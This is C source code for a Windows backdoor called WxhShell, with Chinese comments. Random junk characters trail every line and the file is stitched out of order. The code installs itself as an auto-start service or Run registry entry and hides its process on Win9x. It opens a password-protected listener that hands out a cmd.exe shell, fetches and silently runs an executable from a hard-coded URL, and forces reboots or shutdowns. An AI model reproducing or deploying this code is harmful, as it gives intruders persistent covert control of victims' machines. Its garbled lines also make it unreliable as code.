    break; &pRREu:[4L  
    } +rd+0 `}C  
  // 关机 tA;}h7/Lc~  
  case 'd': { 3n _htgcv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3u=g6W2 F  
    if(Boot(SHUTDOWN)) DU S6SO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xp t:BBo  
    else { (HVGlw'`  
    closesocket(wsh); [WmM6UEVS  
    ExitThread(0); wT@og|M  
    } K-4PI+qQ\  
    break; se)TzI^]b@  
    } Vk suu@cch  
  // 获取shell L,\Iasv  
  case 's': { I,tud!p`  
    CmdShell(wsh); rp$'L7lrX  
    closesocket(wsh); :X=hQ:>P  
    ExitThread(0); ;p//QJB9  
    break; 3BI1fXT4=j  
  } P0@,fd<  
  // 退出 j%kncGS  
  case 'x': { TOt dUO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N7"W{"3D  
    CloseIt(wsh); 7#Ft|5$~q  
    break; !0+JbZ<%r|  
    } <)9y{J}s:  
  // 离开 ]Ze1s02(  
  case 'q': { :;}P*T*PU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]^E?;1$f?  
    closesocket(wsh); _>+Ld6.T6  
    WSACleanup(); "jZ-,P=  
    exit(1); $4LzcwG  
    break; 54 T`OE =  
        } uRvP hkqm  
  } /v{I  
  } [0!(xp^  
Z@HEj_n  
  // 提示信息 (`^1Y3&2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X ?O[r3<  
} y[;>#j$  
  } >MZ/|`[M  
{: /}NpA$  
  return; ?<!|  
} ch]IzdD  
Oketwa  
// shell模块句柄 BmT!aue  
int CmdShell(SOCKET sock) rI\FI0zIp_  
{ /~1+i'7V.,  
STARTUPINFO si; =_CzH(=f#  
ZeroMemory(&si,sizeof(si)); - ).C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6ujW Nf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4W75T2q#  
PROCESS_INFORMATION ProcessInfo; 97Vtn4N3  
char cmdline[]="cmd"; F,kZU$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zLQx%Yg!  
  return 0; _`X:jj>  
} Eci\a]  
>P(.:_ ^p  
// 自身启动模式 *~`(RV  
int StartFromService(void) CpN>p.kM  
{ X}]-*T|a  
typedef struct T{ "(\X$  
{ bA 2pbjg=  
  DWORD ExitStatus; TeQV?ZQ#}  
  DWORD PebBaseAddress; %T[]zJ(  
  DWORD AffinityMask; GgU/ !@  
  DWORD BasePriority; )b)zm2;  
  ULONG UniqueProcessId; Ri'n  
  ULONG InheritedFromUniqueProcessId; 4-w{BZuS  
}   PROCESS_BASIC_INFORMATION; "@kaHIf[  
9WHddDA  
PROCNTQSIP NtQueryInformationProcess; [ ~,AfY  
y`Fw-!'o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =1! 'QUc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M5B# TAybC  
rqq1TRg  
  HANDLE             hProcess; G$PE}%X  
  PROCESS_BASIC_INFORMATION pbi; iso4]>LF  
Ac6=(B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5;?yCWc  
  if(NULL == hInst ) return 0; $]1=\ I  
<3iMRe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zDp2g)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C~[,z.FvO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m|# y >4  
R+|hw;  
  if (!NtQueryInformationProcess) return 0; ?"FbsMk.d  
_@g;8CA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mmsPLv6  
  if(!hProcess) return 0; <VcQ{F  
u-TUuP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'yth'[  
BY*Q_Et  
  CloseHandle(hProcess); &zhAh1m  
Bt#N4m[X*|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~ 1pr~  
if(hProcess==NULL) return 0; Q&&@v4L   
_m>b2I?  
HMODULE hMod; /=h` L ,  
char procName[255]; AS,%RN^.  
unsigned long cbNeeded; r>\bW)e  
DMS! a$4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y]im Z4{/  
:EH=_"  
  CloseHandle(hProcess); >+waX "e  
jal-9NV)!  
if(strstr(procName,"services")) return 1; // 以服务启动 J;%Xfx]  
&{RDM~  
  return 0; // 注册表启动 7|D+Ihy;  
} />Nt[o[r  
FqifriLN  
// 主模块 @6d[=!9  
int StartWxhshell(LPSTR lpCmdLine) zVD:#d% b  
{ 2Hdu:"j  
  SOCKET wsl; I|J/F}@p  
BOOL val=TRUE; Bf:Q2slqI  
  int port=0; &?vgP!d&M  
  struct sockaddr_in door; W`&hp6Jq  
.KC ++\{HE  
  if(wscfg.ws_autoins) Install(); o.\oA6P_  
4sM.C9W  
port=atoi(lpCmdLine); J=L5=G7(  
Th[dW<  
if(port<=0) port=wscfg.ws_port; >{Tm##@,k  
gJhiGYx  
  WSADATA data; GF WA>5n'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mqJ_W[y7  
vI]N^j2%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1U\z5$V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6^Sa;  
  door.sin_family = AF_INET; \Roz$t-R|f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ??T#QQ  
  door.sin_port = htons(port); G\?YK.Y>  
$SE^S   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j7c3(*Pl  
closesocket(wsl); =2 kG%9  
return 1; qFNes)_r  
} -^57oU  
N&pCx&  
  if(listen(wsl,2) == INVALID_SOCKET) { 0^ibNiSP  
closesocket(wsl); \L\b$4$d  
return 1; :yjFQ9^?&  
} K@#L)VT!  
  Wxhshell(wsl); Y<rU#Z#T  
  WSACleanup(); }{"fJ3] c^  
-gWZwW/lD  
return 0; ~,~eoW7  
)WoxMmz  
} Lxk[;j+  
qv*^fiT  
// 以NT服务方式启动 Gbw2E&a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IMfqiH)  
{ r4f~z$QK  
DWORD   status = 0; ?rup/4|  
  DWORD   specificError = 0xfffffff; F\KUZ[%  
9M9?%N:ra  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9I/N4sou  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +@:x!q|^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Hm/(C  
  serviceStatus.dwWin32ExitCode     = 0; 3{h_&Gbo'D  
  serviceStatus.dwServiceSpecificExitCode = 0; pBPl6%C.X-  
  serviceStatus.dwCheckPoint       = 0; 0AV c  
  serviceStatus.dwWaitHint       = 0; i@ BtM9:  
~WN:DXn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D)'bH5  
  if (hServiceStatusHandle==0) return; -S+zmo8  
wuqJr:q*#  
status = GetLastError(); ?NP1y9Y]i  
  if (status!=NO_ERROR) kM@zyDn,  
{ hiw|2Y&`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pU7lnS[  
    serviceStatus.dwCheckPoint       = 0; Zr,VR-kW+  
    serviceStatus.dwWaitHint       = 0; (Clkv  
    serviceStatus.dwWin32ExitCode     = status; e NafpK  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8'r[te4,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )tnh4WMh}  
    return; XF_pN[}  
  } WSY}d Vr  
I,'k>@w{s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6B ?twh)  
  serviceStatus.dwCheckPoint       = 0; tlt*fH$ .  
  serviceStatus.dwWaitHint       = 0; CWP2{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O5t[  
} :$9tF >  
E`k@{*Hn&  
// 处理NT服务事件,比如:启动、停止 t>B;w14  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iy3GE[  
{ Bn g@-#`/  
switch(fdwControl) ")HFYqP>9  
{ -8rjgB~."/  
case SERVICE_CONTROL_STOP: /_#q@r4ZQ  
  serviceStatus.dwWin32ExitCode = 0; R n*L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 78H'ax9m  
  serviceStatus.dwCheckPoint   = 0; 1|6%evPu(  
  serviceStatus.dwWaitHint     = 0; @[i4^  
  { ,T8~L#M~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Z,\Vw:\F  
  } R#8L\1l  
  return; ?_"ik[w}  
case SERVICE_CONTROL_PAUSE: (41|'eB\\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yr=Y@~ XL  
  break; gy9U2Wgf|  
case SERVICE_CONTROL_CONTINUE: y[_Q-   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uwx E<=z  
  break; }sO&. ME  
case SERVICE_CONTROL_INTERROGATE: 1&(V   
  break;  A4<Uu~  
}; 4u47D$=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2q4<t:!  
} }HePZ{PLM  
pK'V9fD5J  
// 标准应用程序主函数 ,47Y9Kz9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8rS:5:Hi  
{ JOLaP@IPT  
Q=20IQp  
// 获取操作系统版本 &wE%<"aRAl  
OsIsNt=GetOsVer(); QM#4uI55B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jh[UtYb5  
9dUravC7  
  // 从命令行安装 Nf"r4%M<6  
  if(strpbrk(lpCmdLine,"iI")) Install(); J 9iy  
7 uKY24  
  // 下载执行文件 =k0_eX0  
if(wscfg.ws_downexe) { p\ZNy\N^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P8)=Kbd  
  WinExec(wscfg.ws_filenam,SW_HIDE); vv+z'(l  
} 6@0OQb  
> eIP.,9  
if(!OsIsNt) { 2M'[,Xe  
// 如果时win9x,隐藏进程并且设置为注册表启动 aAMVsE{  
HideProc(); bNNr]h8y-  
StartWxhshell(lpCmdLine); $LFYoovX  
} 04l!:Tp,  
else >P @H#=  
  if(StartFromService()) 'd$P`Vw:  
  // 以服务方式启动 0dh aAq`k  
  StartServiceCtrlDispatcher(DispatchTable); T iiWp!mX  
else C$D -Pt"+  
  // 普通方式启动 m(#LhlX  
  StartWxhshell(lpCmdLine); _JE"{ ;  
9"A`sGZ  
return 0; ft KTnK.  
} `FTy+8mw  
JYd 'Jp8bP  
<Fc;_GG  
Ksj -zR;  
=========================================== 0rDh}<upjk  
^o1*a&~J@  
d>fkA0G/9!  
E5xzy/ZQ  
iIa'2+  
vchm"p?9)  
" h=kh@},  
jWl)cC  
#include <stdio.h> W$OG( m!W>  
#include <string.h> /! $c/QZ  
#include <windows.h> 7/f3Z 1g  
#include <winsock2.h> "*5hiTr8+  
#include <winsvc.h> ps%q9}J  
#include <urlmon.h> bMMh|F  
DhT>']Z  
#pragma comment (lib, "Ws2_32.lib") lfz2~Si5A  
#pragma comment (lib, "urlmon.lib") O 8u j`G 9  
Vz)`nmO}5\  
#define MAX_USER   100 // 最大客户端连接数 b6F4>@gjg  
#define BUF_SOCK   200 // sock buffer 2.zsCu4lj.  
#define KEY_BUFF   255 // 输入 buffer Hp|_6hO 2  
#+5pgD2C  
#define REBOOT     0   // 重启 h`k"A7M  
#define SHUTDOWN   1   // 关机 7 :3$Ey  
H_ox_ u}  
#define DEF_PORT   5000 // 监听端口 Q=T&  
U,q\em R  
#define REG_LEN     16   // 注册表键长度 mkF"   
#define SVC_LEN     80   // NT服务名长度 ?zVL;gVWA  
;)e2 @'Agl  
// 从dll定义API ;Q[mL(1:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u r@Z|5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rKf-+6Na  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xA$nsZ]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Tc`}2  
fCtPu08{Z  
// wxhshell配置信息 >ByXB!Wi+  
struct WSCFG { p)3U7"q  
  int ws_port;         // 监听端口 )5U[o0td  
  char ws_passstr[REG_LEN]; // 口令 5qoSEI-m  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4NG?_D5&  
  char ws_regname[REG_LEN]; // 注册表键名 o1Q7Th  
  char ws_svcname[REG_LEN]; // 服务名 ugx%_x6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $.v5~UGb{\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I{ :(z3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e0@Y#7N62  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XW s"jt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e `,ds~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B0WJ/)rK<  
J8)#PY[i4  
}; H0SQ"?  
S'B|>!z@  
// default Wxhshell configuration /3:q#2'v  
struct WSCFG wscfg={DEF_PORT, 7C2&NyWJ  
    "xuhuanlingzhe", L^4-5`gj  
    1, 5-0{+R5v  
    "Wxhshell", YH_7=0EJ  
    "Wxhshell", &F5@6nJ`  
            "WxhShell Service", Vy,^)]  
    "Wrsky Windows CmdShell Service", [.*;6y3  
    "Please Input Your Password: ", +_xOLiu  
  1, !i%"7tQ3$  
  "http://www.wrsky.com/wxhshell.exe", BC;:  
  "Wxhshell.exe" -x4X O`b  
    }; 01. &> Duw  
d)R352  
// 消息定义模块 ^ Dt#$Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \3jW~FV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $gM8{.!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lP!;3iJ B  
char *msg_ws_ext="\n\rExit."; <P;}unq.kw  
char *msg_ws_end="\n\rQuit."; P7f,OY<@%o  
char *msg_ws_boot="\n\rReboot..."; LtKI3ou  
char *msg_ws_poff="\n\rShutdown..."; 'EfR|7m  
char *msg_ws_down="\n\rSave to "; \VFHHi:I  
0% #<c p  
char *msg_ws_err="\n\rErr!"; PeE/iZ.  
char *msg_ws_ok="\n\rOK!"; w7n373y%  
~E^,=4  
char ExeFile[MAX_PATH]; okFvn;  
int nUser = 0; O8W7<Wc |z  
HANDLE handles[MAX_USER]; FG!X"<he  
int OsIsNt; cFF*Z=L _  
!!nuAQ"E[  
SERVICE_STATUS       serviceStatus; .+([  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *I0-O*Xr  
34R!x6W0  
// 函数声明 EK$Kee}~  
int Install(void); s{4\xAS>  
int Uninstall(void); AisN@  
int DownloadFile(char *sURL, SOCKET wsh); ?P7]u>H  
int Boot(int flag); e%>b+ Sv  
void HideProc(void); DK&h eVIoZ  
int GetOsVer(void); [|3>MZ2/  
int Wxhshell(SOCKET wsl); =_8Tp~j  
void TalkWithClient(void *cs); Wi}FY }f  
int CmdShell(SOCKET sock); xyE1Gw`V  
int StartFromService(void); <p?&udqD  
int StartWxhshell(LPSTR lpCmdLine); DBs*F x[  
U`x bPQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T=YzJyQC)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !"TZ:"VZU  
Fequm+  
// 数据结构和表定义 $Vv}XMxw  
SERVICE_TABLE_ENTRY DispatchTable[] = Gj /3kS~@  
{ 6dEyv99  
{wscfg.ws_svcname, NTServiceMain}, )2E%b+"  
{NULL, NULL} ^ 2u/n  
}; VIR.yh  
3v!~cC~cI  
// 自我安装 O;]?gj 1@  
int Install(void) m!OMrZ%)}  
{ )Os Lrq/  
  char svExeFile[MAX_PATH]; efuK  
  HKEY key; w h$jr{  
  strcpy(svExeFile,ExeFile); V8z`qEPM  
hD<f3_k  
// 如果是win9x系统,修改注册表设为自启动 Y+/l X6'  
if(!OsIsNt) { sst,dA V$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~L+]n0*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cub <G!K  
  RegCloseKey(key); ER{3,0U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -&[z\"T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cVq}c?  
  RegCloseKey(key);  9|S`ub'  
  return 0; ;' e@t8i6  
    } =<<3Pkv7@  
  } |[cdri^?D  
} {sC=J hs-  
else { M} .b" ljZ  
i!MwBYk  
// 如果是NT以上系统,安装为系统服务 c/u_KJFF-n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Eb.;^=x  
if (schSCManager!=0) Dr"/3xm  
{ mPVE?jnR^0  
  SC_HANDLE schService = CreateService ".2A9]_s  
  ( O=jN&<rb  
  schSCManager, DPJh5d  
  wscfg.ws_svcname, MPRO !45Z  
  wscfg.ws_svcdisp, 3^G96]E  
  SERVICE_ALL_ACCESS, mT_GrIl[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CJq c\I~  
  SERVICE_AUTO_START, E:VGji7s  
  SERVICE_ERROR_NORMAL, <uF [,  
  svExeFile, "'eWn6O(  
  NULL, <4D%v"zRP  
  NULL, hr U :Wr  
  NULL, X_70]^XL  
  NULL, mPmB6q%)]  
  NULL \].J-^=  
  ); WSI Xj5R  
  if (schService!=0) (Imp $  
  { IG / $!* E  
  CloseServiceHandle(schService); M<qudi  
  CloseServiceHandle(schSCManager); [{PqV):p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E5B8 Z?$a  
  strcat(svExeFile,wscfg.ws_svcname); H(\V+@~>AD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i@$-0%,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *e<_; Kr?  
  RegCloseKey(key); _F8T\f |  
  return 0; LC'2q*:'  
    } ( D}" &2  
  } |@`"F5@,  
  CloseServiceHandle(schSCManager); 7>x;B  
} A'DVJ9%xB  
} u3wL<$2[8  
X7e/:._SAH  
return 1; sA_X<>vAKJ  
} kQ}s/*  
+?e}<#vd'?  
// 自我卸载 &LU'.jY  
int Uninstall(void) jpO38H0)  
{ XZ:1!;  
  HKEY key; 9oq)X[  
5V|tXsy:  
if(!OsIsNt) { *j<@yG2\gP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t&"5dM\  
  RegDeleteValue(key,wscfg.ws_regname); RWahsJTu  
  RegCloseKey(key); B/Ba5z"r$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #S i|!  
  RegDeleteValue(key,wscfg.ws_regname); 3Hm7 uBZ  
  RegCloseKey(key); caD5Pod4  
  return 0; ;? 8Iys#  
  } {aJz. `u\  
} z]>9nv`b  
} {mYx  
else { #'NY}6cb$  
KF$%q((  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @9_)On9hZ  
if (schSCManager!=0) ]7F)bIG[  
{ ZW* fOaj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lS3 _Ild  
  if (schService!=0) )@c3##Zp)  
  { NS 5 49S  
  if(DeleteService(schService)!=0) { H^v{Vo  
  CloseServiceHandle(schService); n^6TP'r  
  CloseServiceHandle(schSCManager); 0Uaem  
  return 0; J3\)Jy  
  } GI4oQcJ  
  CloseServiceHandle(schService); HWR& C  
  } T{~MiC6A  
  CloseServiceHandle(schSCManager); <`mOU} 0 )  
} S&|VkZR)  
} td/5Bmj  
2))t*9;h  
return 1; ]n1D1  
} 7xR|_+%~K  
Fc{((x s  
// 从指定url下载文件 au A.6DQ  
int DownloadFile(char *sURL, SOCKET wsh) s7Qyfe&>  
{ n +d J c  
  HRESULT hr; z9fNk%  
char seps[]= "/"; n8?KSQy$  
char *token; Hf.xd.Yw  
char *file; s'AQUUrb <  
char myURL[MAX_PATH]; |lHFo{8"  
char myFILE[MAX_PATH]; KF4see;;  
Ei|0L$NCg  
strcpy(myURL,sURL); Zr R+QV  
  token=strtok(myURL,seps); I~'gK8<e7  
  while(token!=NULL) *p"O*zj  
  { _6J<YQK  
    file=token; 9H8=eJd  
  token=strtok(NULL,seps); DoTs9w|5  
  } (>r|j4$  
bN4d:0Y  
GetCurrentDirectory(MAX_PATH,myFILE); T/5nu?v  
strcat(myFILE, "\\"); 1YFAr}M  
strcat(myFILE, file); x/[8Wi,yB  
  send(wsh,myFILE,strlen(myFILE),0); gx#J%k,f  
send(wsh,"...",3,0); :X|AW?*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z,os MS  
  if(hr==S_OK) 9`,,%vdj  
return 0; u-1@~Z  
else ,iohfZz  
return 1; XNK 43fkB.  
e)b r`CD%  
} M;> ha,x  
|/2LWc?  
// 系统电源模块 (S3jZ  
int Boot(int flag) `-5cQ2>"  
{ s/\XH&KR3V  
  HANDLE hToken; ~"RQ!&U  
  TOKEN_PRIVILEGES tkp; qY# m*R  
e8 v; D  
  if(OsIsNt) { |M]sk?"^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -D$3!ccX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F1/6&u9I  
    tkp.PrivilegeCount = 1; 4g S[D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7!mJhgGc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6O%=G3I  
if(flag==REBOOT) { cy9N:MR(c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cyDiA(ot&  
  return 0; ~S! L!qY  
} -aA<.+  
else { my=*zziN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?! _u,sT  
  return 0; YlG; A\]k  
} E#8J+7  
  } .!!79 6hS  
  else { q^u6f?B  
if(flag==REBOOT) { -.^@9 a>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d!w1t=2H  
  return 0; ?UU5hek+m  
} {kT#o3,>w6  
else { pFS F[9?e>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f*UBigk  
  return 0; B<rPvM7a  
} rrW! X q  
} !Jh*a *I}  
(=6P]~,  
return 1; l85O-g}M  
} mMn2(  
bbM4A! N  
// win9x进程隐藏模块 .Y+mwvLpRG  
void HideProc(void) \-DM-NrZ1U  
{ sTJJE3TBI  
cF-Jc}h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 30t:O&2<  
  if ( hKernel != NULL ) Qu!OV]Cc  
  { ;>cLbjD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $0ym_6n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BYTXAZLb  
    FreeLibrary(hKernel); :t_}_!~  
  } ;D6x=v=2  
@2QJm  
return; wEZqkV  
} p!.  /  
F%w\D9+P  
// 获取操作系统版本 E `?S!*jm  
int GetOsVer(void) &;'w8_K"^  
{ i.B$?cr~  
  OSVERSIONINFO winfo; k*A4;Bm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k?!TjBKm  
  GetVersionEx(&winfo); kO /~i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H0 {Mlu9  
  return 1; bWhJ^L D  
  else bkJwPs  
  return 0; hhN(;.  
} P?-d[zLA  
)G}sb*+v?  
// 客户端句柄模块 >\N$>"~a  
int Wxhshell(SOCKET wsl) wY."Lw> 6  
{ Ubn   
  SOCKET wsh; @G^j8Nl+J}  
  struct sockaddr_in client; :YkDn~@  
  DWORD myID; M'pY-/.  
7{?lEQ&UE  
  while(nUser<MAX_USER) BBaHM sr  
{ 54, Ju'r  
  int nSize=sizeof(client); BA`kxL/x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *fOS"-C L  
  if(wsh==INVALID_SOCKET) return 1; }W^V^i)  
_N[^Hl`\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o{s4.LKK  
if(handles[nUser]==0) W\d0  
  closesocket(wsh); ^XjvJa  
else j@kRv@  
  nUser++; 0j-F6a*p'1  
  } VQZT.^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bQ${8ZO  
Udb0&Y1^  
  return 0; 7lnM|nD  
} o.v,n1Nm  
Q*TQ*J7".X  
// 关闭 socket ]~4}(\u  
void CloseIt(SOCKET wsh) 0TuNA\Ug+  
{ b}"vI Rz  
closesocket(wsh); 6 d{D3e[p^  
nUser--; Y9lbf_51  
ExitThread(0); *,Aa9wa{  
} fSgGQ D4  
0  /D5  
// 客户端请求句柄 IJL^dXCu  
void TalkWithClient(void *cs) 7z0;FW3>9  
{ \`p|,j  
X"]mR7k  
  SOCKET wsh=(SOCKET)cs; '6Rs0__  
  char pwd[SVC_LEN]; z. Ve#~\  
  char cmd[KEY_BUFF]; q[We][Nrzb  
char chr[1]; 2=/-d$  
int i,j; zmrX %!CW  
=}6Z{}(TT  
  while (nUser < MAX_USER) { RQ_#rYmT  
~a0d .dU  
if(wscfg.ws_passstr) { r;5 AY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]VO,} `  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0^|$cvYiL  
  //ZeroMemory(pwd,KEY_BUFF); }b\ipA,~  
      i=0; *(_ON$+3  
  while(i<SVC_LEN) { -f 'q  
8k*k  
  // 设置超时 ]c~rPi  
  fd_set FdRead; n^I|}u\  
  struct timeval TimeOut; 'h+4zvI"8  
  FD_ZERO(&FdRead); sIQMUC[!  
  FD_SET(wsh,&FdRead); 0Zp<=\!;  
  TimeOut.tv_sec=8; .*clY  
  TimeOut.tv_usec=0; 42H#n]Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -qr:c9\px  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'p{Y{ $Q  
E!oJ0*@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$EFh4  
  pwd=chr[0]; ! Dhfr{  
  if(chr[0]==0xd || chr[0]==0xa) { eQ4B5B%j/x  
  pwd=0; \t 7zMp  
  break; +q>C}9s3  
  } &  t @  
  i++; rUJSzLy  
    } ygu?w7  
'~!l(&X  
  // 如果是非法用户,关闭 socket +&@l{x(,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RM / s :  
} 9EY_R&Yq%  
>LRaIU>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `;8u9Ff  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !{|yAt9kP  
x,@O:e  
while(1) { o2t@-dNi  
4$#ia F  
  ZeroMemory(cmd,KEY_BUFF); O,z%7><  
<=LsloI  
      // 自动支持客户端 telnet标准   8~XI7g'5x  
  j=0; '@1Qx~*]e  
  while(j<KEY_BUFF) { 9/^Bj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Nzg 8FP  
  cmd[j]=chr[0]; K <fq=:I3  
  if(chr[0]==0xa || chr[0]==0xd) { ^9m^#"ZW`  
  cmd[j]=0; [pyXX>:M  
  break; j4hUPL7  
  } ,_7tRkn  
  j++; r+WPQ`Ar  
    } u8)r W  
;z=C^'  
  // 下载文件 :8/M6-EK  
  if(strstr(cmd,"http://")) { OW5|oG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \c`r9H^v{  
  if(DownloadFile(cmd,wsh)) Z6HkQ=A64  
